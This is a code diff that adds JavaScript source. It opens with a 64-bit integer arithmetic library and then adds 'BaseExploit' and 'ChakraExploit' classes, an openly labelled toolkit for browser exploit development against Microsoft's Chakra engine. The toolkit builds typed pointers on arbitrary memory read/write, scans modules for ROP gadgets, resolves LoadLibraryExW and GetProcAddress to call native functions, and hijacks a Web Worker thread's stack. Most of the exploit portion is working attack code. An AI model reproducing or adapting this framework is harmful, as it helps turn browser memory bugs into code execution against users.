+            // The algorithm below has not been made for unsigned longs. It's therefore
+            // required to take special care of the MSB prior to running it.
+            if (!divisor.unsigned)
+                divisor = divisor.toUnsigned();
+            if (divisor.gt(this))
+                return UZERO;
+            if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true
+                return UONE;
+            res = UZERO;
+        }
+
+        // Repeat the following until the remainder is less than other:  find a
+        // floating-point that approximates remainder / other *from below*, add this
+        // into the result, and subtract it from the remainder.  It is critical that
+        // the approximate value is less than or equal to the real value so that the
+        // remainder never becomes negative.
+        rem = this;
+        while (rem.gte(divisor)) {
+            // Approximate the result of division. This may be a little greater or
+            // smaller than the actual value.
+            approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber()));
+
+            // We will tweak the approximate result by changing it in the 48-th digit or
+            // the smallest non-fractional digit, whichever is larger.
+            var log2 = Math.ceil(Math.log(approx) / Math.LN2),
+                delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48),
+
+            // Decrease the approximation until it is smaller than the remainder.  Note
+            // that if it is too large, the product overflows and is negative.
+                approxRes = fromNumber(approx),
+                approxRem = approxRes.mul(divisor);
+            while (approxRem.isNegative() || approxRem.gt(rem)) {
+                approx -= delta;
+                approxRes = fromNumber(approx, this.unsigned);
+                approxRem = approxRes.mul(divisor);
+            }
+
+            // We know the answer can't be zero... and actually, zero would cause
+            // infinite recursion since we would make no progress.
+            if (approxRes.isZero())
+                approxRes = ONE;
+
+            res = res.add(approxRes);
+            rem = rem.sub(approxRem);
+        }
+        return res;
+    };
+
+    /**
+     * Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}.
+     * @function
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Quotient
+     */
+    IntegerPrototype.div = IntegerPrototype.divide;
+
+    /**
+     * Returns this Integer modulo the specified.
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Remainder
+     */
+    IntegerPrototype.modulo = function modulo(divisor) {
+        if (!isInteger(divisor))
+            divisor = fromValue(divisor);
+        return this.sub(this.div(divisor).mul(divisor));
+    };
+
+    /**
+     * Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}.
+     * @function
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Remainder
+     */
+    IntegerPrototype.mod = IntegerPrototype.modulo;
+
+    /**
+     * Returns the bitwise NOT of this Integer.
+     * @returns {!Integer}
+     */
+    IntegerPrototype.not = function not() {
+        return fromBits(~this.low, ~this.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise AND of this Integer and the specified.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.and = function and(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise OR of this Integer and the specified.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.or = function or(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low | other.low, this.high | other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise XOR of this Integer and the given one.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.xor = function xor(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits shifted to the left by the given amount.
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftLeft = function shiftLeft(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        if ((numBits &= 63) === 0)
+            return this;
+        else if (numBits < 32)
+            return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size);
+        else
+            return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shl = IntegerPrototype.shiftLeft;
+
+    /**
+     * Returns this Integer with bits arithmetically shifted to the right by the given amount.
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftRight = function shiftRight(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        if ((numBits &= 63) === 0)
+            return this;
+        else if (numBits < 32)
+            return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size);
+        else
+            return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shr = IntegerPrototype.shiftRight;
+
+    /**
+     * Returns this Integer with bits logically shifted to the right by the given amount.
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        numBits &= 63;
+        if (numBits === 0)
+            return this;
+        else {
+            var high = this.high;
+            if (numBits < 32) {
+                var low = this.low;
+                return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size);
+            } else if (numBits === 32)
+                return fromBits(high, 0, this.unsigned, this.size);
+            else
+                return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size);
+        }
+    };
+
+    /**
+     * Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned;
+
+    /**
+     * Converts this Integer to signed.
+     * @returns {!Integer} Signed long
+     */
+    IntegerPrototype.toSigned = function toSigned() {
+        if (!this.unsigned)
+            return this;
+        return fromBits(this.low, this.high, false, this.size);
+    };
+
+    /**
+     * Converts this Integer to unsigned.
+     * @returns {!Integer} Unsigned long
+     */
+    IntegerPrototype.toUnsigned = function toUnsigned() {
+        if (this.unsigned)
+            return this;
+        return fromBits(this.low, this.high, true, this.size);
+    };
+
+    /**
+     * Converts this Integer to its byte representation.
+     * @param {boolean=} le Whether little or big endian, defaults to big endian
+     * @returns {!Array.<number>} Byte representation
+     */
+    IntegerPrototype.toBytes = function(le) {
+        return le ? this.toBytesLE() : this.toBytesBE();
+    }
+
+    /**
+     * Converts this Integer to its little endian byte representation.
+     * @returns {!Array.<number>} Little endian byte representation
+     */
+    IntegerPrototype.toBytesLE = function() {
+        var hi = this.high,
+            lo = this.low;
+        return [
+             lo         & 0xff,
+            (lo >>>  8) & 0xff,
+            (lo >>> 16) & 0xff,
+            (lo >>> 24) & 0xff,
+             hi         & 0xff,
+            (hi >>>  8) & 0xff,
+            (hi >>> 16) & 0xff,
+            (hi >>> 24) & 0xff
+        ];
+    }
+
+    /**
+     * Converts this Integer to its big endian byte representation.
+     * @returns {!Array.<number>} Big endian byte representation
+     */
+    IntegerPrototype.toBytesBE = function() {
+        var hi = this.high,
+            lo = this.low;
+        return [
+            (hi >>> 24) & 0xff,
+            (hi >>> 16) & 0xff,
+            (hi >>>  8) & 0xff,
+             hi         & 0xff,
+            (lo >>> 24) & 0xff,
+            (lo >>> 16) & 0xff,
+            (lo >>>  8) & 0xff,
+             lo         & 0xff
+        ];
+    }
+
+    return Integer;
+})();
+
+
+/**
+ * Constructs a base exploit that provides useful data types and utility functions.
+ *
+ * @class A base exploit class for browser exploit development.
+ * @param {number} bitness The bitness of the target process.
+ * @constructor
+ */
+function BaseExploit(bitness) {
+    // in bytes
+    var DEFAULT_ALIGNMENT = bitness / 8;
+    var POINTER_SIZE = bitness / 8;
+
+    var libraries = {};
+    var strings = [];
+    var exploit = this;
+
+    function cString(s) {
+        var ss = '';
+        for (var i = 0; i < s.length / 2 + 2; i++) {
+            ss += String.fromCharCode((s.charCodeAt(i*2)|0) + ((s.charCodeAt(i*2+1)|0) << 8));
+        }
+        return wString(ss);
+    }
+
+    function wString(s) {
+        strings.push(s);
+        parseInt(s);
+        return exploit.addressOfString(s);
+    }
+
+    function getProcAddress(library, procName) {
+        var addr = exploit.call(toIntMax(exploit.GetProcAddress), toIntMax(library), toIntMax(cString(procName)));
+        if (addr == 0) {
+            throw 'missing import ' + procName;
+        }
+        return addr;
+    }
+
+    function loadLibrary(dllName) {
+        if (exploit.LoadLibraryA !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryA), toIntMax(cString(dllName)));
+        } else if (exploit.LoadLibraryW !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryW), toIntMax(wString(dllName)));
+        } else if (exploit.LoadLibraryExA !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryExA), toIntMax(cString(dllName)), toIntMax(0), toIntMax(0));
+        } else if (exploit.LoadLibraryExW !== undefined) {
+            return exploit.call(toIntMax(exploit.LoadLibraryExW), toIntMax(wString(dllName)), toIntMax(0), toIntMax(0));
+        } else {
+            throw 'missing load library address';
+        }
+    }
+
+    /**
+     * Loads a DLL (if not loaded already) and finds the given export.
+     * @instance
+     * @memberof BaseExploit
+     * @param {string} dllName The name of DLL to find the function from.
+     * @param {string} funcName The name of function to import.
+     * @param {Type} returnType The type of the function return.
+     * @returns {function}
+     */
+    function importFunction(dllName, funcName, returnType) {
+        returnType = returnType || null;
+        if (libraries[dllName] === undefined) {
+            libraries[dllName] = loadLibrary(dllName);
+        }
+        return new FunctionType(returnType).cast(getProcAddress(libraries[dllName], funcName));
+    }
+
+    var pointerProxyHandler = {
+        get: function(target, property) {
+            try {
+                var idx = parseInt(property);
+            } catch (e) {
+                return target[property];
+            }
+            if (isNaN(idx)) {
+                return target[property];
+            } else {
+                return target.add(idx).load();
+            }
+        },
+        set: function(target, property, value) {
+            try {
+                var idx = parseInt(property);
+            } catch (e) {
+                target[property] = value;
+            }
+            if (isNaN(idx)) {
+                target[property] = value;
+            } else {
+                target.add(idx).store(value);
+            }
+        },
+    };
+
+    /**
+     * Constructs a pointer to a certain type.
+     *
+     * @param {Type} base type
+     * @param {Integer} address
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function Pointer(type, address) {
+        this.type = type;
+        this.address = address;
+        return new Proxy(this, pointerProxyHandler);
+    }
+    Pointer.prototype = {};
+    /**
+     * Returns a new pointer with result of pointer arithmetic.
+     *
+     * @param {Integer|number} x addend
+     * @returns {Pointer}
+     */
+    Pointer.prototype.add = function (x) {
+        return new Pointer(this.type, this.address.add(toIntMax(x).mul(this.type.size)));
+    };
+    /**
+     * Returns the value stored at the pointer address. Alternatively, array syntax is supported.
+     *
+     * @returns {Integer|Pointer}
+     */
+    Pointer.prototype.load = function () {
+        return this.type.load(this.address);
+    };
+    /**
+     * Stores the value at the pointer address. Alternatively, array syntax is supported.
+     *
+     * @param {Integer|Pointer} value
+     */
+    Pointer.prototype.store = function (x) {
+        return this.type.store(this.address, x);
+    };
+    /**
+     * Converts the Pointer to a hexadecimal string.
+     *
+     * @returns {string}
+     */
+    Pointer.prototype.toString = function () {
+        return '&0x' + this.address.toString(16);
+    };
+    /**
+     * Returns whether address is zero.
+     *
+     * @returns {boolean}
+     */
+    Pointer.prototype.isNull = function () {
+        return this.address.eq(0);
+    };
+
+    /** Constructs a pointer to a C string. 
+     *
+     * @param {string} s A string to make into a C string.
+     * @instance
+     * @memberof BaseExploit
+     * @augments Pointer
+     * @class
+     * @constructor
+     */
+    function CString(s) {
+        return Pointer.call(this, Uint8, cString(s));
+    }
+    CString.prototype = Object.create(Pointer.prototype);
+    CString.prototype.constructor = CString;
+
+    /**
+     * Constructs a pointer to a UTF-16 string.
+     * @param {string} s A string to make into a UTF-16 string.
+     * @instance
+     * @memberof BaseExploit
+     * @augments Pointer
+     * @class
+     * @constructor
+     */
+    function WString(s) {
+        return Pointer.call(this, Uint16, wString(s));
+    }
+    WString.prototype = Object.create(Pointer.prototype);
+    WString.prototype.constructor = WString;
+
+    /**
+     * Type base class. Internal.
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function Type() {
+    }
+    Type.prototype = {
+        /**
+         * Constructs a PointerType of this type.
+         *
+         * @returns {PointerType}
+         */
+        get Ptr () {
+            if (!this._ptr) {
+                this._ptr = new PointerType(this);
+            }
+            return this._ptr;
+        }
+    };
+    Type.prototype.constructor = Type;
+
+    /**
+     * Constructs a pointer type.
+     * @param {Type} base Base type
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function PointerType(base) {
+        Type.call(this);
+        this.baseType = base;
+        this.alignment = POINTER_SIZE;
+        this.size = POINTER_SIZE;
+    }
+    PointerType.prototype = Object.create(Type.prototype);
+    PointerType.prototype.constructor = PointerType;
+    /**
+     * Create a pointer to the given address with our base type.
+     *
+     * @param {Integer|Pointer} x Memory address
+     * @returns {Pointer}
+     */
+    PointerType.prototype.cast = function (x) {
+        x = toIntMax(x);
+        if (this.baseType instanceof ArrayType) {
+            return new Pointer(this.baseType.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        } else if (this.baseType instanceof StructType) {
+            return new StructPointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        } else {
+            return new Pointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8));
+        }
+    }
+    PointerType.prototype.load = function (address) {
+        return this.cast(exploit.read(address, POINTER_SIZE * 8));
+    }
+    PointerType.prototype.store = function (address, x) {
+        return exploit.write(address, toIntMax(x), POINTER_SIZE * 8);
+    }
+
+    /**
+     * Constructs a function pointer type.
+     * @param {Type} returnType Type of return value
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function FunctionType(returnType) {
+        Type.call(this);
+        this.returnType = returnType;
+    }
+    FunctionType.prototype = Object.create(Type.prototype);
+    FunctionType.prototype.constructor = FunctionType;
+    /**
+     * Create a function pointer with the given address. Can be called like a Javascript function.
+     *
+     * @param {Integer|Pointer} x Memory address
+     * @returns {function}
+     */
+    FunctionType.prototype.cast = function (ptr) {
+        var returnType = this.returnType || null;
+        var f = function(...args) {
+            var result = exploit.call(ptr, ...args);
+            if (returnType) {
+                result = returnType.cast(result);
+            }
+            return result;
+        };
+        f.address = ptr;
+        f.toString = function() {
+            return '&0x' + this.address.toString(16);
+        };
+    }
+
+    var structPointerProxyHandler = {
+        get: function(target, property) {
+            var offset = target.type.offsets[property];
+            if (offset !== undefined) {
+                var t = target.type.types[property];
+                var p = new PointerType(t).cast(target.address.add(offset));
+                if (t instanceof ArrayType || t instanceof StructType) {
+                    return p;
+                }
+                return p.load();
+            } else {
+                try {
+                    var idx = parseInt(property);
+                } catch (e) {
+                    return target[property];
+                }
+                if (isNaN(idx)) {
+                    return target[property];
+                } else {
+                    return target.add(idx);
+                }
+            }
+        },
+        set: function(target, property, value) {
+            var offset = target.type.offsets[property];
+            if (offset !== undefined) {
+                var t = target.type.types[property];
+                if (t instanceof StructType) {
+                    throw 'cannot set struct field';
+                }
+                var p = new PointerType(t).cast(target.address.add(offset));
+                p.store(value);
+            } else {
+                try {
+                    var idx = parseInt(property);
+                } catch (e) {
+                    target[property] = value;
+                }
+                if (isNaN(idx)) {
+                    target[property] = value;
+                } else {
+                    throw 'cannot set struct via array syntax';
+                }
+            }
+        },
+    };
+    /**
+     * Constructs a pointer to a structure type. Internal.
+     *
+     * @param {Type} base type
+     * @param {Integer} address
+     * @instance
+     * @memberof BaseExploit
+     * @class
+     * @constructor
+     */
+    function StructPointer(type, address) {
+        this.type = type;
+        this.address = address;
+        return new Proxy(this, structPointerProxyHandler);
+    }
+    StructPointer.prototype = {};
+    StructPointer.prototype.add = function (x) {
+        return new StructPointer(this.type, this.address.add(toIntMax(x).mul(this.type.size)));
+    };
+    StructPointer.prototype.toString = function () {
+        return '&0x' + this.address.toString(16);
+    };
+    /**
+     * Constructs a structure type.
+     * @param {Array} fields Description of structure's fields
+     * @param {integer} [alignment] Override default alignment
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function StructType(fields, alignment) {
+        Type.call(this);
+        alignment = alignment || DEFAULT_ALIGNMENT;
+        this.fields = fields;
+
+        this.alignment = 0;
+        this.offsets = {};
+        this.types = {};
+        var offset = 0;
+        for (var i = 0; i < fields.length; i++) {
+            var name = fields[i][0], type = fields[i][1];
+            if (this.offsets[name] !== undefined) {
+                throw 'duplicate field name';
+            }
+            var a = Math.min(alignment, type.alignment);
+            this.alignment = Math.max(this.alignment, a);
+            if (offset % a) {
+                offset += a - (offset % a);
+            }
+            this.offsets[name] = offset;
+            this.types[name] = type;
+            offset += type.size;
+        }
+        if (offset == 0) {
+            throw 'empty struct';
+        }
+        if (offset % this.alignment) {
+            offset += this.alignment - (offset % this.alignment);
+        }
+        this.size = offset;
+    }
+    StructType.prototype = Object.create(Type.prototype);
+    StructType.prototype.constructor = StructType;
+
+    /**
+     * Constructs an array type.
+     * @param {Type} base Base type
+     * @param {integer} length Number of array elements
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function ArrayType(base, length) {
+        Type.call(this);
+        this.baseType = base;
+        this.length = length;
+        this.alignment = this.baseType.alignment;
+        this.size = this.length * this.baseType.size;
+    }
+    ArrayType.prototype = Object.create(Type.prototype);
+    ArrayType.prototype.constructor = ArrayType;
+    ArrayType.prototype.load = function (address) {
+        var result = new Array(this.length);
+        var size = this.baseType.size;
+        for (var i = 0; i < this.length; i++) {
+            result[i] = this.baseType.load(address);
+            address = address.add(size);
+        }
+        return result;
+    }
+    ArrayType.prototype.store = function (address, x) {
+        var size = this.baseType.size;
+        for (var i = 0; i < x.length; i++) {
+            this.baseType.store(address, x[i]);
+            address = address.add(size);
+        }
+    }
+
+    /**
+     * Constructs an integer type. Internal. Use predefined Int and Uint type objects.
+     * @param {integer} bits Bit size
+     * @param {boolean} signed Whether signed or not
+     * @instance
+     * @memberof BaseExploit
+     * @augments Type
+     * @class
+     * @constructor
+     */
+    function IntType(bits, signed) {
+        Type.call(this);
+        this.bits = bits;
+        this.signed = signed;
+        this.alignment = bits / 8;
+        this.size = bits / 8;
+    }
+    IntType.prototype = Object.create(Type.prototype);
+    IntType.prototype.constructor = IntType;
+    IntType.prototype.cast = function (x) {
+        x = toIntMax(x);
+        return new Integer(x.low, x.high, !this.signed, this.bits);
+    }
+    IntType.prototype.load = function (address) {
+        return this.cast(exploit.read(address, this.bits));
+    }
+    IntType.prototype.store = function (address, x) {
+        return exploit.write(address, toIntMax(x), this.bits);
+    }
+
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int8 = new IntType(8, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int16 = new IntType(16, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int32 = new IntType(32, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Int64 = new IntType(64, true);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint8 = new IntType(8, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint16 = new IntType(16, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint32 = new IntType(32, false);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {IntType}
+     */
+    var Uint64 = new IntType(64, false);
+
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int8Ptr = new PointerType(Int8);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int16Ptr = new PointerType(Int16);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int32Ptr = new PointerType(Int32);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Int64Ptr = new PointerType(Int64);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint8Ptr = new PointerType(Uint8);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint16Ptr = new PointerType(Uint16);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint32Ptr = new PointerType(Uint32);
+    /** 
+     * @instance
+     * @memberof BaseExploit
+     * @member {PointerType}
+     */
+    var Uint64Ptr = new PointerType(Uint64);
+
+    function toIntMax(x) {
+        if ('object' !== typeof x) {
+            return Integer.fromValue(x);
+        } else if (x instanceof Pointer || x instanceof StructPointer) {
+            return new Integer(x.address.low, x.address.high);
+        } else if (x instanceof Integer) {
+            return new Integer(x.low, x.high);
+        } else {
+            throw 'unhandled type';
+        }
+    }
+
+    Object.assign(this, {
+        importFunction,
+        Pointer,
+        CString,
+        WString,
+        ArrayType,
+        FunctionType,
+        PointerType,
+        StructType,
+        Int8,
+        Int16,
+        Int32,
+        Int64,
+        Uint8,
+        Uint16,
+        Uint32,
+        Uint64,
+        Int8Ptr,
+        Int16Ptr,
+        Int32Ptr,
+        Int64Ptr,
+        Uint8Ptr,
+        Uint16Ptr,
+        Uint32Ptr,
+        Uint64Ptr,
+    });
+}
+BaseExploit.prototype = {};
+/**
+ * Find the beginning of a PE module given any address in the module.
+ *
+ * @param {Integer} address Any address in the PE module
+ * @returns {Integer}
+ */
+BaseExploit.prototype.findModuleBase = function (address) {
+    address.low &= 0xFFFF0000; // align to 64kb-boundary
+    while (true) {
+        var p = this.Uint8Ptr.cast(address);
+        if (p[0] == 0x4D && p[1] == 0x5A) {
+            var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+            if (peOffset < 0x1000 && p[peOffset] == 0x50 && p[peOffset.add(1)] == 0x45) {
+                return address;
+            }
+        }
+        address = address.sub(0x10000);
+    }
+}
+/**
+ * Find a set of bytes in a PE module.
+ *
+ * @param {Integer|Pointer} module Base address of PE module
+ * @param {Array} bytes Bytes to locate
+ * @returns {Integer}
+ */
+BaseExploit.prototype.findGadget = function (module, bytes) {
+    var p = this.Uint8Ptr.cast(module);
+    var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+    var imageSize = this.Uint32Ptr.cast(module.add(peOffset))[20];
+    var bytesLength = bytes.length;
+    var firstByte = bytes[0];
+    for (var i = 0x1000; i < imageSize; i++) {
+        if ((i % 4) == 0) {
+            // Optimization: check for first byte within current 4 bytes
+            var x = this.Uint32Ptr.cast(p.add(i))[0].low;
+            if (((x >>> 0) & 0xFF) != firstByte &&
+              ((x >>> 8) & 0xFF) != firstByte &&
+              ((x >>> 16) & 0xFF) != firstByte &&
+              ((x >>> 24) & 0xFF) != firstByte) {
+                i += 3;
+                continue;
+            }
+        }
+        for (var j = 0; j < bytesLength; j++) {
+            if (bytes[j] != p[i + j]) {
+                break;
+            }
+        }
+        if (j == bytesLength) {
+            return p.add(i);
+        }
+        i += j;
+    }
+    return null;
+}
+/**
+ * Find multiple sets of bytes in a PE module.
+ *
+ * @param {Integer|Pointer} module Base address of PE module
+ * @param {Array} query Array of gadgets to find
+ * @returns {object}
+ */
+BaseExploit.prototype.findGadgets = function (module, query) {
+    var p = this.Uint8Ptr.cast(module);
+    var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0];
+    var codeSize = this.Uint32Ptr.cast(module.add(peOffset))[7];
+    var array = new Int32Array(codeSize / 4);
+    var address = p.address.add(0x1000);
+    for (var i = 0x1000; i < codeSize; i += 8) {
+        var x = this.read(address, 64);
+        array[i / 4] = x.low;
+        array[i / 4 + 1] = x.high;
+        address.low += 8;
+    }
+
+    var byteArray = new Uint8Array(array.buffer);
+    var gadgets = {};
+    query.forEach((gadget) => {
+        var name = gadget[0], bytes = gadget[1];
+        var idx = 0;
+        while (true) {
+            idx = byteArray.indexOf(bytes[0], idx);
+            if (idx < 0) {
+                throw 'missing gadget ' + name;
+            }
+            for (var j = 1; j < bytes.length; j++) {
+                if (byteArray[idx + j] != bytes[j]) {
+                    break;
+                }
+            }
+            if (j == bytes.length) {
+                break;
+            }
+            idx++;
+        }
+        gadgets[name] = p.add(idx);
+    });
+    return gadgets;
+}
+
+/**
+ * Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available.
+ *
+ * @augments BaseExploit
+ * @class
+ * @constructor
+ */
+function ChakraExploit() {
+    var exploit = this;
+    BaseExploit.call(this, 64);
+
+    /**
+     * Constructs a thread using a Web Worker. The worker script must create a {@link ChakraThreadExploit} object.
+     *
+     * @memberof ChakraExploit
+     * @instance
+     * @class
+     * @constructor
+     */
+    function Thread(url) {
+        var worker = new Worker(url);
+        worker.onmessage = (e) => {
+            if (e.data == 'CHAKRA_EXPLOIT') {
+                var stackLimit = exploit.globalListFirst.load()[exploit.threadContextStackLimit];
+                // Default stack size of web worker
+                //   1 MB
+                var stackSize = 1 * 1024 * 1024;
+                var stackTop = stackLimit.sub(0xc000).add(stackSize);
+                var stk = exploit.Uint64Ptr.cast(stackTop).add(-1);
+                while (!new Integer(0x41424344, 0x10000).eq(stk.load())) {
+                    stk = stk.add(-1);
+                    if (stk.address <= stackTop.sub(0x10000)) {
+                        throw 'unable to find canary';
+                    }
+                }
+                var worker = exploit.Uint64Ptr.cast(stk[1]);
+                var manager = exploit.Uint64Ptr.cast(stk[2]);
+                manager[7] = worker;
+            } else if (this.onmessage) {
+                return this.onmessage(e);
+            }
+        }
+        /**
+         * @memberof ChakraExploit#Thread
+         * @instance
+         * @function onmessage
+         */
+        this.onmessage = null;
+        /**
+         * postMessage to web worker
+         * @function
+         */
+        this.postMessage = worker.postMessage.bind(worker);
+    }
+    this.Thread = Thread;
+}
+ChakraExploit.prototype = Object.create(BaseExploit.prototype);
+ChakraExploit.prototype.constructor = ChakraExploit;
+/**
+ * Initializes Chakra helpers using memory read and write.
+ *
+ * @param {Integer|Pointer} vtable Any address in the chakra DLL
+ */
+ChakraExploit.prototype.initChakra = function (vtable) {
+    this.chakraBase = this.findModuleBase(vtable);
+
+    var gadgets = [
+        ['callLoadLibraryExW', [0x48, 0x8B, 0xC8, 0x33, 0xD2, 0x41, 0xB8, 0x00, 0x08, 0x00, 0x00, 0xFF, 0x15]],
+        ['jmpGetProcAddress', [0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25]],
+        ['nopReturn', [0xC3]],
+        ['popRaxReturn', [0x58, 0xC3]],
+        ['popRcxReturn', [0x59, 0xC3]],
+        ['popRdxReturn', [0x5A, 0xC3]],
+        ['popRspReturn', [0x5C, 0xC3]],
+        ['popRbpReturn', [0x5D, 0xC3]],
+        ['popRsiReturn', [0x5E, 0xC3]],
+        ['addRsp58Return', [0x48, 0x83, 0xC4, 0x58, 0xC3]],
+        ['storeRaxAtRdxReturn', [0x48, 0x89, 0x02, 0xC3]],
+        ['entrySlice', [0x8B, 0xF8, 0x41, 0x83, 0xFC, 0x02]],
+        ['amd64CallFunction', [0x4C, 0x8B, 0x4E, 0x08, 0x4C, 0x8B, 0x06, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x8B, 0xE5, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3]],
+        ['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, 0x61]],
+    ];
+    this.gadgets = this.findGadgets(this.chakraBase, gadgets);
+    // initialize ThreadContext information
+    this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8;
+    this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8;
+    this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0]));
+    var p = this.globalListFirst[0];
+    for (var i = 0;; i++) {
+        if ((p[i] & 0xffff) == 0xc000) {
+            break;
+        }
+    }
+    this.threadContextStackLimit = i;
+    // initialize LoadLibraryExW and GetProcAddress
+    var p = this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load());
+    this.LoadLibraryExW = new this.PointerType(this.Uint8Ptr).cast(p).load();
+    var p = this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load());
+    this.GetProcAddress = new this.PointerType(this.Uint8Ptr).cast(p).load();
+    // initialize support for fast addressOf
+    this.locateArray = [{}];
+    this.locateArrayPtr = new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3);
+    if (!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0])) {
+        throw 'init of addressOf failed!'
+    }
+}
+/**
+ * Returns the address of a Javascript object.
+ *
